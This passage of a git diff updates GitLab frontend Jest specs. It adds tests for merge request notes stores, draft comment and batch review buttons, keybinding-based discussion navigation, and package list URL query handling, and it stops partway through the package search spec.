diff --git a/spec/frontend/mocks/ce/ide/lib/diff/diff_worker.js b/spec/frontend/mocks/ce/ide/lib/diff/diff_worker.js
deleted file mode 100644
index 5532a22f8e6..00000000000
--- a/spec/frontend/mocks/ce/ide/lib/diff/diff_worker.js
+++ /dev/null
@@ -1 +0,0 @@
-export { default } from 'helpers/web_worker_mock';
diff --git a/spec/frontend/mr_notes/stores/actions_spec.js b/spec/frontend/mr_notes/stores/actions_spec.js
new file mode 100644
index 00000000000..c6578453d85
--- /dev/null
+++ b/spec/frontend/mr_notes/stores/actions_spec.js
@@ -0,0 +1,92 @@
+import MockAdapter from 'axios-mock-adapter';
+
+import testAction from 'helpers/vuex_action_helper';
+import axios from '~/lib/utils/axios_utils';
+
+import { setEndpoints, setMrMetadata, fetchMrMetadata } from '~/mr_notes/stores/actions';
+import mutationTypes from '~/mr_notes/stores/mutation_types';
+
+describe('MR Notes Mutator Actions', () => {
+ describe('setEndpoints', () => {
+ it('should trigger the SET_ENDPOINTS state mutation', (done) => {
+ const endpoints = { endpointA: 'a' };
+
+ testAction(
+ setEndpoints,
+ endpoints,
+ {},
+ [
+ {
+ type: mutationTypes.SET_ENDPOINTS,
+ payload: endpoints,
+ },
+ ],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('setMrMetadata', () => {
+ it('should trigger the SET_MR_METADATA state mutation', async () => {
+ const mrMetadata = { propA: 'a', propB: 'b' };
+
+ await testAction(
+ setMrMetadata,
+ mrMetadata,
+ {},
+ [
+ {
+ type: mutationTypes.SET_MR_METADATA,
+ payload: mrMetadata,
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('fetchMrMetadata', () => {
+ const mrMetadata = { meta: true, data: 'foo' };
+ const state = {
+ endpoints: {
+ metadata: 'metadata',
+ },
+ };
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+
+ mock.onGet(state.endpoints.metadata).reply(200, mrMetadata);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ it('should fetch the data from the API', async () => {
+ await fetchMrMetadata({ state, dispatch: () => {} });
+
+ await axios.waitForAll();
+
+ expect(mock.history.get).toHaveLength(1);
+ expect(mock.history.get[0].url).toBe(state.endpoints.metadata);
+ });
+
+ it('should set the fetched data into state', () => {
+ return testAction(
+ fetchMrMetadata,
+ {},
+ state,
+ [],
+ [
+ {
+ type: 'setMrMetadata',
+ payload: mrMetadata,
+ },
+ ],
+ );
+ });
+ });
+});
diff --git a/spec/frontend/mr_notes/stores/mutations_spec.js b/spec/frontend/mr_notes/stores/mutations_spec.js
new file mode 100644
index 00000000000..35b8a2e4be2
--- /dev/null
+++ b/spec/frontend/mr_notes/stores/mutations_spec.js
@@ -0,0 +1,27 @@
+import mutationTypes from '~/mr_notes/stores/mutation_types';
+import mutations from '~/mr_notes/stores/mutations';
+
+describe('MR Notes Mutations', () => {
+ describe(mutationTypes.SET_ENDPOINTS, () => {
+ it('should set the endpoints value', () => {
+ const state = {};
+ const endpoints = { endpointA: 'A', endpointB: 'B' };
+
+ mutations[mutationTypes.SET_ENDPOINTS](state, endpoints);
+
+ expect(state.endpoints).toEqual(endpoints);
+ });
+ });
+
+ describe(mutationTypes.SET_MR_METADATA, () => {
+ it('store the provided MR Metadata in the state', () => {
+ const state = {};
+ const metadata = { propA: 'A', propB: 'B' };
+
+ mutations[mutationTypes.SET_MR_METADATA](state, metadata);
+
+ expect(state.mrMetadata.propA).toBe('A');
+ expect(state.mrMetadata.propB).toBe('B');
+ });
+ });
+});
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index bab90723578..b717bab7c3f 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -1,10 +1,11 @@
-import { GlDropdown, GlAlert } from '@gitlab/ui';
+import { GlAlert } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import Autosize from 'autosize';
import MockAdapter from 'axios-mock-adapter';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import batchComments from '~/batch_comments/stores/modules/batch_comments';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
import { deprecatedCreateFlash as flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
@@ -29,8 +30,10 @@ describe('issue_comment_form component', () => {
const findCloseReopenButton = () => wrapper.findByTestId('close-reopen-button');
const findTextArea = () => wrapper.findByTestId('comment-field');
+ const findAddToReviewButton = () => wrapper.findByTestId('add-to-review-button');
+ const findAddCommentNowButton = () => wrapper.findByTestId('add-comment-now-button');
const findConfidentialNoteCheckbox = () => wrapper.findByTestId('confidential-note-checkbox');
- const findCommentGlDropdown = () => wrapper.find(GlDropdown);
+ const findCommentGlDropdown = () => wrapper.findByTestId('comment-button');
const findCommentButton = () => findCommentGlDropdown().find('button');
const findErrorAlerts = () => wrapper.findAllComponents(GlAlert).wrappers;
@@ -582,4 +585,64 @@ describe('issue_comment_form component', () => {
expect(findTextArea().exists()).toBe(false);
});
});
+
+ describe('with batchComments in store', () => {
+ beforeEach(() => {
+ store.registerModule('batchComments', batchComments());
+ });
+
+ describe('add to review and comment now buttons', () => {
+ it('when no drafts exist, should not render', () => {
+ mountComponent();
+
+ expect(findCommentGlDropdown().exists()).toBe(true);
+ expect(findAddToReviewButton().exists()).toBe(false);
+ expect(findAddCommentNowButton().exists()).toBe(false);
+ });
+
+ describe('when drafts exist', () => {
+ beforeEach(() => {
+ store.state.batchComments.drafts = [{ note: 'A' }];
+ });
+
+ it('should render', () => {
+ mountComponent();
+
+ expect(findCommentGlDropdown().exists()).toBe(false);
+ expect(findAddToReviewButton().exists()).toBe(true);
+ expect(findAddCommentNowButton().exists()).toBe(true);
+ });
+
+ it('clicking `add to review`, should call draft endpoint, set `isDraft` true', () => {
+ mountComponent({ mountFunction: mount, initialData: { note: 'a draft note' } });
+
+ jest.spyOn(store, 'dispatch').mockResolvedValue();
+ findAddToReviewButton().trigger('click');
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ 'saveNote',
+ expect.objectContaining({
+ endpoint: notesDataMock.draftsPath,
+ isDraft: true,
+ }),
+ );
+ });
+
+ it('clicking `add comment now`, should call note endpoint, set `isDraft` false ', () => {
+ mountComponent({ mountFunction: mount, initialData: { note: 'a comment' } });
+
+ jest.spyOn(store, 'dispatch').mockResolvedValue();
+ findAddCommentNowButton().trigger('click');
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ 'saveNote',
+ expect.objectContaining({
+ endpoint: noteableDataMock.create_note_path,
+ isDraft: false,
+ }),
+ );
+ });
+ });
+ });
+ });
});
diff --git a/spec/frontend/notes/components/discussion_navigator_spec.js b/spec/frontend/notes/components/discussion_navigator_spec.js
index 4d55eee2ffa..e430e18b76a 100644
--- a/spec/frontend/notes/components/discussion_navigator_spec.js
+++ b/spec/frontend/notes/components/discussion_navigator_spec.js
@@ -2,6 +2,11 @@
import 'mousetrap';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vue from 'vue';
+import {
+ keysFor,
+ MR_NEXT_UNRESOLVED_DISCUSSION,
+ MR_PREVIOUS_UNRESOLVED_DISCUSSION,
+} from '~/behaviors/shortcuts/keybindings';
import DiscussionNavigator from '~/notes/components/discussion_navigator.vue';
import eventHub from '~/notes/event_hub';
@@ -60,13 +65,13 @@ describe('notes/components/discussion_navigator', () => {
});
it('calls jumpToNextDiscussion when pressing `n`', () => {
- Mousetrap.trigger('n');
+ Mousetrap.trigger(keysFor(MR_NEXT_UNRESOLVED_DISCUSSION));
expect(jumpToNextDiscussion).toHaveBeenCalled();
});
it('calls jumpToPreviousDiscussion when pressing `p`', () => {
- Mousetrap.trigger('p');
+ Mousetrap.trigger(keysFor(MR_PREVIOUS_UNRESOLVED_DISCUSSION));
expect(jumpToPreviousDiscussion).toHaveBeenCalled();
});
@@ -87,8 +92,8 @@ describe('notes/components/discussion_navigator', () => {
});
it('unbinds keys', () => {
- expect(Mousetrap.unbind).toHaveBeenCalledWith('n');
- expect(Mousetrap.unbind).toHaveBeenCalledWith('p');
+ expect(Mousetrap.unbind).toHaveBeenCalledWith(keysFor(MR_NEXT_UNRESOLVED_DISCUSSION));
+ expect(Mousetrap.unbind).toHaveBeenCalledWith(keysFor(MR_PREVIOUS_UNRESOLVED_DISCUSSION));
});
it('unbinds event hub listeners', () => {
diff --git a/spec/frontend/notes/components/note_actions_spec.js b/spec/frontend/notes/components/note_actions_spec.js
index cc41088e21e..ecce854b00a 100644
--- a/spec/frontend/notes/components/note_actions_spec.js
+++ b/spec/frontend/notes/components/note_actions_spec.js
@@ -151,6 +151,22 @@ describe('noteActions', () => {
const assignUserButton = wrapper.find('[data-testid="assign-user"]');
expect(assignUserButton.exists()).toBe(false);
});
+
+ it('should render the correct (unescaped) name in the Resolved By tooltip', () => {
+ const complexUnescapedName = 'This is a ÆŽ\'ðž“\'E "cat"?';
+ wrapper = mountNoteActions({
+ ...props,
+ canResolve: true,
+ isResolving: false,
+ isResolved: true,
+ resolvedBy: {
+ name: complexUnescapedName,
+ },
+ });
+
+ const { resolveButton } = wrapper.vm.$refs;
+ expect(resolveButton.$el.getAttribute('title')).toBe(`Resolved by ${complexUnescapedName}`);
+ });
});
});
diff --git a/spec/frontend/notes/components/note_body_spec.js b/spec/frontend/notes/components/note_body_spec.js
index 4922de987fa..40251244423 100644
--- a/spec/frontend/notes/components/note_body_spec.js
+++ b/spec/frontend/notes/components/note_body_spec.js
@@ -81,14 +81,21 @@ describe('issue_note_body component', () => {
state: {
defaultSuggestionCommitMessage:
'%{branch_name}%{project_path}%{project_name}%{username}%{user_full_name}%{file_paths}%{suggestions_count}%{files_count}',
- branchName: 'branch',
- projectPath: '/path',
- projectName: 'name',
- username: 'user',
- userFullName: 'user userton',
},
getters: { suggestionCommitMessage },
},
+ page: {
+ namespaced: true,
+ state: {
+ mrMetadata: {
+ branch_name: 'branch',
+ project_path: '/path',
+ project_name: 'name',
+ username: 'user',
+ user_full_name: 'user userton',
+ },
+ },
+ },
},
});
diff --git a/spec/frontend/notes/components/noteable_discussion_spec.js b/spec/frontend/notes/components/noteable_discussion_spec.js
index dd65351ef88..735bc2b70dd 100644
--- a/spec/frontend/notes/components/noteable_discussion_spec.js
+++ b/spec/frontend/notes/components/noteable_discussion_spec.js
@@ -124,14 +124,7 @@ describe('noteable_discussion component', () => {
...getJSONFixture(discussionWithTwoUnresolvedNotes)[0],
expanded: true,
};
- discussion.notes = discussion.notes.map((note) => ({
- ...note,
- resolved: false,
- current_user: {
- ...note.current_user,
- can_resolve: true,
- },
- }));
+ discussion.resolved = false;
wrapper.setProps({ discussion });
diff --git a/spec/frontend/notes/components/noteable_note_spec.js b/spec/frontend/notes/components/noteable_note_spec.js
index 112983f3ac2..7444c441e06 100644
--- a/spec/frontend/notes/components/noteable_note_spec.js
+++ b/spec/frontend/notes/components/noteable_note_spec.js
@@ -1,32 +1,65 @@
-import { mount, createLocalVue } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { escape } from 'lodash';
+import Vue from 'vue';
+import Vuex from 'vuex';
+
import waitForPromises from 'helpers/wait_for_promises';
+
+import DiffsModule from '~/diffs/store/modules';
+
import NoteActions from '~/notes/components/note_actions.vue';
import NoteBody from '~/notes/components/note_body.vue';
import NoteHeader from '~/notes/components/note_header.vue';
import issueNote from '~/notes/components/noteable_note.vue';
-import createStore from '~/notes/stores';
+import NotesModule from '~/notes/stores/modules';
+
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
+
import { noteableDataMock, notesDataMock, note } from '../mock_data';
+Vue.use(Vuex);
+
+const singleLineNotePosition = {
+ line_range: {
+ start: {
+ line_code: 'abc_1_1',
+ type: null,
+ old_line: '1',
+ new_line: '1',
+ },
+ end: {
+ line_code: 'abc_1_1',
+ type: null,
+ old_line: '1',
+ new_line: '1',
+ },
+ },
+};
+
describe('issue_note', () => {
let store;
let wrapper;
const findMultilineComment = () => wrapper.find('[data-testid="multiline-comment"]');
- const createWrapper = (props = {}) => {
- store = createStore();
+ const createWrapper = (props = {}, storeUpdater = (s) => s) => {
+ store = new Vuex.Store(
+ storeUpdater({
+ modules: {
+ notes: NotesModule(),
+ diffs: DiffsModule(),
+ },
+ }),
+ );
+
store.dispatch('setNoteableData', noteableDataMock);
store.dispatch('setNotesData', notesDataMock);
- const localVue = createLocalVue();
- wrapper = mount(localVue.extend(issueNote), {
+ wrapper = mount(issueNote, {
store,
propsData: {
note,
...props,
},
- localVue,
stubs: [
'note-header',
'user-avatar-link',
@@ -216,9 +249,13 @@ describe('issue_note', () => {
const noteBodyComponent = wrapper.findComponent(NoteBody);
store.hotUpdate({
- actions: {
- updateNote() {},
- setSelectedCommentPositionHover() {},
+ modules: {
+ notes: {
+ actions: {
+ updateNote() {},
+ setSelectedCommentPositionHover() {},
+ },
+ },
},
});
@@ -238,8 +275,12 @@ describe('issue_note', () => {
it('restores content of updated note', async () => {
const updatedText = 'updated note text';
store.hotUpdate({
- actions: {
- updateNote() {},
+ modules: {
+ notes: {
+ actions: {
+ updateNote() {},
+ },
+ },
},
});
const noteBody = wrapper.findComponent(NoteBody);
@@ -267,9 +308,13 @@ describe('issue_note', () => {
const updateActions = () => {
store.hotUpdate({
- actions: {
- updateNote,
- setSelectedCommentPositionHover() {},
+ modules: {
+ notes: {
+ actions: {
+ updateNote,
+ setSelectedCommentPositionHover() {},
+ },
+ },
},
});
};
@@ -299,4 +344,62 @@ describe('issue_note', () => {
expect(updateNote.mock.calls[0][1].note.note.position).toBe(expectation);
});
});
+
+ describe('diffFile', () => {
+ it.each`
+ scenario | files | noteDef
+ ${'the note has no position'} | ${undefined} | ${note}
+ ${'the Diffs store has no data'} | ${[]} | ${{ ...note, position: singleLineNotePosition }}
+ `(
+ 'returns `null` when $scenario and no diff file is provided as a prop',
+ ({ noteDef, diffs }) => {
+ const storeUpdater = (rawStore) => {
+ const updatedStore = { ...rawStore };
+
+ if (diffs) {
+ updatedStore.modules.diffs.state.diffFiles = diffs;
+ }
+
+ return updatedStore;
+ };
+
+ createWrapper({ note: noteDef, discussionFile: null }, storeUpdater);
+
+ expect(wrapper.vm.diffFile).toBe(null);
+ },
+ );
+
+ it("returns the correct diff file from the Diffs store if it's available", () => {
+ createWrapper(
+ {
+ note: { ...note, position: singleLineNotePosition },
+ },
+ (rawStore) => {
+ const updatedStore = { ...rawStore };
+ updatedStore.modules.diffs.state.diffFiles = [
+ { file_hash: 'abc', testId: 'diffFileTest' },
+ ];
+ return updatedStore;
+ },
+ );
+
+ expect(wrapper.vm.diffFile.testId).toBe('diffFileTest');
+ });
+
+ it('returns the provided diff file if the more robust getters fail', () => {
+ createWrapper(
+ {
+ note: { ...note, position: singleLineNotePosition },
+ discussionFile: { testId: 'diffFileTest' },
+ },
+ (rawStore) => {
+ const updatedStore = { ...rawStore };
+ updatedStore.modules.diffs.state.diffFiles = [];
+ return updatedStore;
+ },
+ );
+
+ expect(wrapper.vm.diffFile.testId).toBe('diffFileTest');
+ });
+ });
});
diff --git a/spec/frontend/notes/components/notes_app_spec.js b/spec/frontend/notes/components/notes_app_spec.js
index 163501d5ce8..241a89b2218 100644
--- a/spec/frontend/notes/components/notes_app_spec.js
+++ b/spec/frontend/notes/components/notes_app_spec.js
@@ -3,6 +3,8 @@ import AxiosMockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import Vue from 'vue';
import { setTestTimeout } from 'helpers/timeout';
+import DraftNote from '~/batch_comments/components/draft_note.vue';
+import batchComments from '~/batch_comments/stores/modules/batch_comments';
import axios from '~/lib/utils/axios_utils';
import * as urlUtility from '~/lib/utils/url_utility';
import CommentForm from '~/notes/components/comment_form.vue';
@@ -400,4 +402,32 @@ describe('note_app', () => {
expect(getComponentOrder()).toStrictEqual([TYPE_NOTES_LIST, TYPE_COMMENT_FORM]);
});
});
+
+ describe('when multiple draft types are present', () => {
+ beforeEach(() => {
+ store = createStore();
+ store.registerModule('batchComments', batchComments());
+ store.state.batchComments.drafts = [
+ mockData.draftDiffDiscussion,
+ mockData.draftReply,
+ ...mockData.draftComments,
+ ];
+ store.state.isLoading = false;
+ wrapper = shallowMount(NotesApp, {
+ propsData,
+ store,
+ stubs: {
+ OrderedLayout,
+ },
+ });
+ });
+
+ it('correctly finds only draft comments', () => {
+ const drafts = wrapper.findAll(DraftNote).wrappers;
+
+ expect(drafts.map((x) => x.props('draft'))).toEqual(
+ mockData.draftComments.map(({ note }) => expect.objectContaining({ note })),
+ );
+ });
+ });
});
diff --git a/spec/frontend/notes/mock_data.js b/spec/frontend/notes/mock_data.js
index 638a4edecd6..a4aeeda48d8 100644
--- a/spec/frontend/notes/mock_data.js
+++ b/spec/frontend/notes/mock_data.js
@@ -6,6 +6,7 @@ export const notesDataMock = {
markdownDocsPath: '/help/user/markdown',
newSessionPath: '/users/sign_in?redirect_to_referer=yes',
notesPath: '/gitlab-org/gitlab-foss/noteable/issue/98/notes',
+ draftsPath: '/flightjs/flight/-/merge_requests/4/drafts',
quickActionsDocsPath: '/help/user/project/quick_actions',
registerPath: '/users/sign_up?redirect_to_referer=yes',
prerenderedNotesCount: 1,
@@ -1270,3 +1271,18 @@ export const batchSuggestionsInfoMock = [
discussionId: 'c003',
},
];
+
+export const draftComments = [
+ { id: 7, note: 'test draft note', isDraft: true },
+ { id: 9, note: 'draft note 2', isDraft: true },
+];
+
+export const draftReply = { id: 8, note: 'draft reply', discussion_id: 1, isDraft: true };
+
+export const draftDiffDiscussion = {
+ id: 6,
+ note: 'draft diff discussion',
+ line_code: 1,
+ file_path: 'lib/foo.rb',
+ isDraft: true,
+};
diff --git a/spec/frontend/notes/stores/getters_spec.js b/spec/frontend/notes/stores/getters_spec.js
index 4d2f86a1ecf..3adb5da020e 100644
--- a/spec/frontend/notes/stores/getters_spec.js
+++ b/spec/frontend/notes/stores/getters_spec.js
@@ -1,4 +1,4 @@
-import { DESC } from '~/notes/constants';
+import { DESC, ASC } from '~/notes/constants';
import * as getters from '~/notes/stores/getters';
import {
notesDataMock,
@@ -12,6 +12,9 @@ import {
discussion3,
resolvedDiscussion1,
unresolvableDiscussion,
+ draftComments,
+ draftReply,
+ draftDiffDiscussion,
} from '../mock_data';
const discussionWithTwoUnresolvedNotes = 'merge_requests/resolved_diff_discussion.json';
@@ -23,6 +26,8 @@ const createDiscussionNeighborParams = (discussionId, diffOrder, step) => ({
step,
});
+const asDraftDiscussion = (x) => ({ ...x, individual_note: true });
+
describe('Getters Notes Store', () => {
let state;
@@ -61,20 +66,58 @@ describe('Getters Notes Store', () => {
});
describe('discussions', () => {
- it('should return all discussions in the store', () => {
- expect(getters.discussions(state)).toEqual([individualNote]);
- });
+ let batchComments = null;
+
+ const getDiscussions = () => getters.discussions(state, {}, { batchComments });
+
+ describe('without batchComments module', () => {
+ it('should return all discussions in the store', () => {
+ expect(getDiscussions()).toEqual([individualNote]);
+ });
+
+ it('should transform discussion to individual notes in timeline view', () => {
+ state.discussions = [discussionMock];
+ state.isTimelineEnabled = true;
- it('should transform discussion to individual notes in timeline view', () => {
- state.discussions = [discussionMock];
- state.isTimelineEnabled = true;
+ const discussions = getDiscussions();
+
+ expect(discussions.length).toEqual(discussionMock.notes.length);
+ discussions.forEach((discussion) => {
+ expect(discussion.individual_note).toBe(true);
+ expect(discussion.id).toBe(discussion.notes[0].id);
+ expect(discussion.created_at).toBe(discussion.notes[0].created_at);
+ });
+ });
+ });
- expect(getters.discussions(state).length).toEqual(discussionMock.notes.length);
- getters.discussions(state).forEach((discussion) => {
- expect(discussion.individual_note).toBe(true);
- expect(discussion.id).toBe(discussion.notes[0].id);
- expect(discussion.created_at).toBe(discussion.notes[0].created_at);
+ describe('with batchComments', () => {
+ beforeEach(() => {
+ batchComments = { drafts: [...draftComments, draftReply, draftDiffDiscussion] };
});
+
+ it.each`
+ discussionSortOrder | expectation
+ ${ASC} | ${[individualNote, ...draftComments.map(asDraftDiscussion)]}
+ ${DESC} | ${[...draftComments.reverse().map(asDraftDiscussion), individualNote]}
+ `(
+ 'only appends draft comments (discussionSortOrder=$discussionSortOrder)',
+ ({ discussionSortOrder, expectation }) => {
+ state.discussionSortOrder = discussionSortOrder;
+
+ expect(getDiscussions()).toEqual(expectation);
+ },
+ );
+ });
+ });
+
+ describe('hasDrafts', () => {
+ it.each`
+ rootGetters | expected
+ ${{}} | ${false}
+ ${{ 'batchComments/hasDrafts': true }} | ${true}
+ ${{ 'batchComments/hasDrafts': false }} | ${false}
+ `('with rootGetters=$rootGetters, returns $expected', ({ rootGetters, expected }) => {
+ expect(getters.hasDrafts({}, {}, {}, rootGetters)).toBe(expected);
});
});
@@ -103,7 +146,7 @@ describe('Getters Notes Store', () => {
};
it('should return a single system note when a description was updated multiple times', () => {
- expect(getters.discussions(stateCollapsedNotes).length).toEqual(1);
+ expect(getters.discussions(stateCollapsedNotes, {}, {}).length).toEqual(1);
});
});
diff --git a/spec/frontend/packages/details/store/getters_spec.js b/spec/frontend/packages/details/store/getters_spec.js
index f12b75d3b70..005adece56e 100644
--- a/spec/frontend/packages/details/store/getters_spec.js
+++ b/spec/frontend/packages/details/store/getters_spec.js
@@ -27,6 +27,7 @@ import {
mockPipelineInfo,
mavenPackage as packageWithoutBuildInfo,
pypiPackage,
+ rubygemsPackage,
} from '../../mock_data';
import {
generateMavenCommand,
@@ -104,6 +105,7 @@ describe('Getters PackageDetails Store', () => {
${npmPackage} | ${'npm'}
${nugetPackage} | ${'NuGet'}
${pypiPackage} | ${'PyPI'}
+ ${rubygemsPackage} | ${'RubyGems'}
`(`package type`, ({ packageEntity, expectedResult }) => {
beforeEach(() => setupState({ packageEntity }));
diff --git a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
index 3f17731584c..07aba62fef6 100644
--- a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
+++ b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
@@ -2,11 +2,11 @@
exports[`packages_list_app renders 1`] = `
<div>
- <package-title-stub
- packagehelpurl="foo"
+ <div
+ help-url="foo"
/>
- <package-search-stub />
+ <div />
<div>
<section
@@ -52,7 +52,9 @@ exports[`packages_list_app renders 1`] = `
with GitLab.
</p>
- <div>
+ <div
+ class="gl-display-flex gl-flex-wrap gl-justify-content-center"
+ >
<!---->
<!---->
diff --git a/spec/frontend/packages/list/components/packages_list_app_spec.js b/spec/frontend/packages/list/components/packages_list_app_spec.js
index 6862d23c4ff..4de2dd0789e 100644
--- a/spec/frontend/packages/list/components/packages_list_app_spec.js
+++ b/spec/frontend/packages/list/components/packages_list_app_spec.js
@@ -3,10 +3,11 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import createFlash from '~/flash';
import * as commonUtils from '~/lib/utils/common_utils';
-import PackageSearch from '~/packages/list/components/package_search.vue';
import PackageListApp from '~/packages/list/components/packages_list_app.vue';
import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '~/packages/list/constants';
import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
+import * as packageUtils from '~/packages_and_registries/shared/utils';
jest.mock('~/lib/utils/common_utils');
jest.mock('~/flash');
@@ -24,10 +25,19 @@ describe('packages_list_app', () => {
};
const GlLoadingIcon = { name: 'gl-loading-icon', template: '<div>loading</div>' };
+ // we need to manually stub dynamic imported components because shallowMount is not able to stub them automatically. See: https://github.com/vuejs/vue-test-utils/issues/1279
+ const PackageSearch = { name: 'PackageSearch', template: '<div></div>' };
+ const PackageTitle = { name: 'PackageTitle', template: '<div></div>' };
+ const InfrastructureTitle = { name: 'InfrastructureTitle', template: '<div></div>' };
+ const InfrastructureSearch = { name: 'InfrastructureSearch', template: '<div></div>' };
+
const emptyListHelpUrl = 'helpUrl';
const findEmptyState = () => wrapper.find(GlEmptyState);
const findListComponent = () => wrapper.find(PackageList);
const findPackageSearch = () => wrapper.find(PackageSearch);
+ const findPackageTitle = () => wrapper.find(PackageTitle);
+ const findInfrastructureTitle = () => wrapper.find(InfrastructureTitle);
+ const findInfrastructureSearch = () => wrapper.find(InfrastructureSearch);
const createStore = (filter = []) => {
store = new Vuex.Store({
@@ -45,7 +55,7 @@ describe('packages_list_app', () => {
store.dispatch = jest.fn();
};
- const mountComponent = () => {
+ const mountComponent = (provide) => {
wrapper = shallowMount(PackageListApp, {
localVue,
store,
@@ -55,12 +65,18 @@ describe('packages_list_app', () => {
PackageList,
GlSprintf,
GlLink,
+ PackageSearch,
+ PackageTitle,
+ InfrastructureTitle,
+ InfrastructureSearch,
},
+ provide,
});
};
beforeEach(() => {
createStore();
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue({});
});
afterEach(() => {
@@ -72,25 +88,6 @@ describe('packages_list_app', () => {
expect(wrapper.element).toMatchSnapshot();
});
- describe('empty state', () => {
- it('generate the correct empty list link', () => {
- mountComponent();
-
- const link = findListComponent().find(GlLink);
-
- expect(link.attributes('href')).toBe(emptyListHelpUrl);
- expect(link.text()).toBe('publish and share your packages');
- });
-
- it('includes the right content on the default tab', () => {
- mountComponent();
-
- const heading = findEmptyState().find('h1');
-
- expect(heading.text()).toBe('There are no packages yet');
- });
- });
-
it('call requestPackagesList on page:changed', () => {
mountComponent();
store.dispatch.mockClear();
@@ -108,10 +105,75 @@ describe('packages_list_app', () => {
expect(store.dispatch).toHaveBeenCalledWith('requestDeletePackage', 'foo');
});
- it('does not call requestPackagesList two times on render', () => {
+ it('does call requestPackagesList only one time on render', () => {
mountComponent();
- expect(store.dispatch).toHaveBeenCalledTimes(1);
+ expect(store.dispatch).toHaveBeenCalledTimes(3);
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', expect.any(Object));
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', expect.any(Array));
+ expect(store.dispatch).toHaveBeenNthCalledWith(3, 'requestPackagesList');
+ });
+
+ describe('url query string handling', () => {
+ const defaultQueryParamsMock = {
+ search: [1, 2],
+ type: 'npm',
+ sort: 'asc',
+ orderBy: 'created',
+ };
+
+ it('calls setSorting with the query string based sorting', () => {
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', {
+ orderBy: defaultQueryParamsMock.orderBy,
+ sort: defaultQueryParamsMock.sort,
+ });
+ });
+
+ it('calls setFilter with the query string based filters', () => {
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', [
+ { type: 'type', value: { data: defaultQueryParamsMock.type } },
+ { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[0] } },
+ { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[1] } },
+ ]);
+ });
+
+ it('calls setSorting and setFilters with the results of extractFilterAndSorting', () => {
+ jest
+ .spyOn(packageUtils, 'extractFilterAndSorting')
+ .mockReturnValue({ filters: ['foo'], sorting: { sort: 'desc' } });
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', { sort: 'desc' });
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', ['foo']);
+ });
+ });
+
+ describe('empty state', () => {
+ it('generate the correct empty list link', () => {
+ mountComponent();
+
+ const link = findListComponent().find(GlLink);
+
+ expect(link.attributes('href')).toBe(emptyListHelpUrl);
+ expect(link.text()).toBe('publish and share your packages');
+ });
+
+ it('includes the right content on the default tab', () => {
+ mountComponent();
+
+ const heading = findEmptyState().find('h1');
+
+ expect(heading.text()).toBe('There are no packages yet');
+ });
});
describe('filter without results', () => {
@@ -145,6 +207,31 @@ describe('packages_list_app', () => {
});
});
+ describe('Infrastructure config', () => {
+ it('defaults to package registry components', () => {
+ mountComponent();
+
+ expect(findPackageSearch().exists()).toBe(true);
+ expect(findPackageTitle().exists()).toBe(true);
+
+ expect(findInfrastructureTitle().exists()).toBe(false);
+ expect(findInfrastructureSearch().exists()).toBe(false);
+ });
+
+ it('mount different component based on the provided values', () => {
+ mountComponent({
+ titleComponent: 'InfrastructureTitle',
+ searchComponent: 'InfrastructureSearch',
+ });
+
+ expect(findPackageSearch().exists()).toBe(false);
+ expect(findPackageTitle().exists()).toBe(false);
+
+ expect(findInfrastructureTitle().exists()).toBe(true);
+ expect(findInfrastructureSearch().exists()).toBe(true);
+ });
+ });
+
describe('delete alert handling', () => {
const { location } = window.location;
const search = `?${SHOW_DELETE_SUCCESS_ALERT}=true`;
diff --git a/spec/frontend/packages/list/components/packages_search_spec.js b/spec/frontend/packages/list/components/packages_search_spec.js
index 9b62dde8d2b..30fad74b493 100644
--- a/spec/frontend/packages/list/components/packages_search_spec.js
+++ b/spec/frontend/packages/list/components/packages_search_spec.js
@@ -2,8 +2,9 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import component from '~/packages/list/components/package_search.vue';
import PackageTypeToken from '~/packages/list/components/tokens/package_type_token.vue';
-import getTableHeaders from '~/packages/list/utils';
+import { sortableFields } from '~/packages/list/utils';
import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -12,7 +13,8 @@ describe('Package Search', () => {
let wrapper;
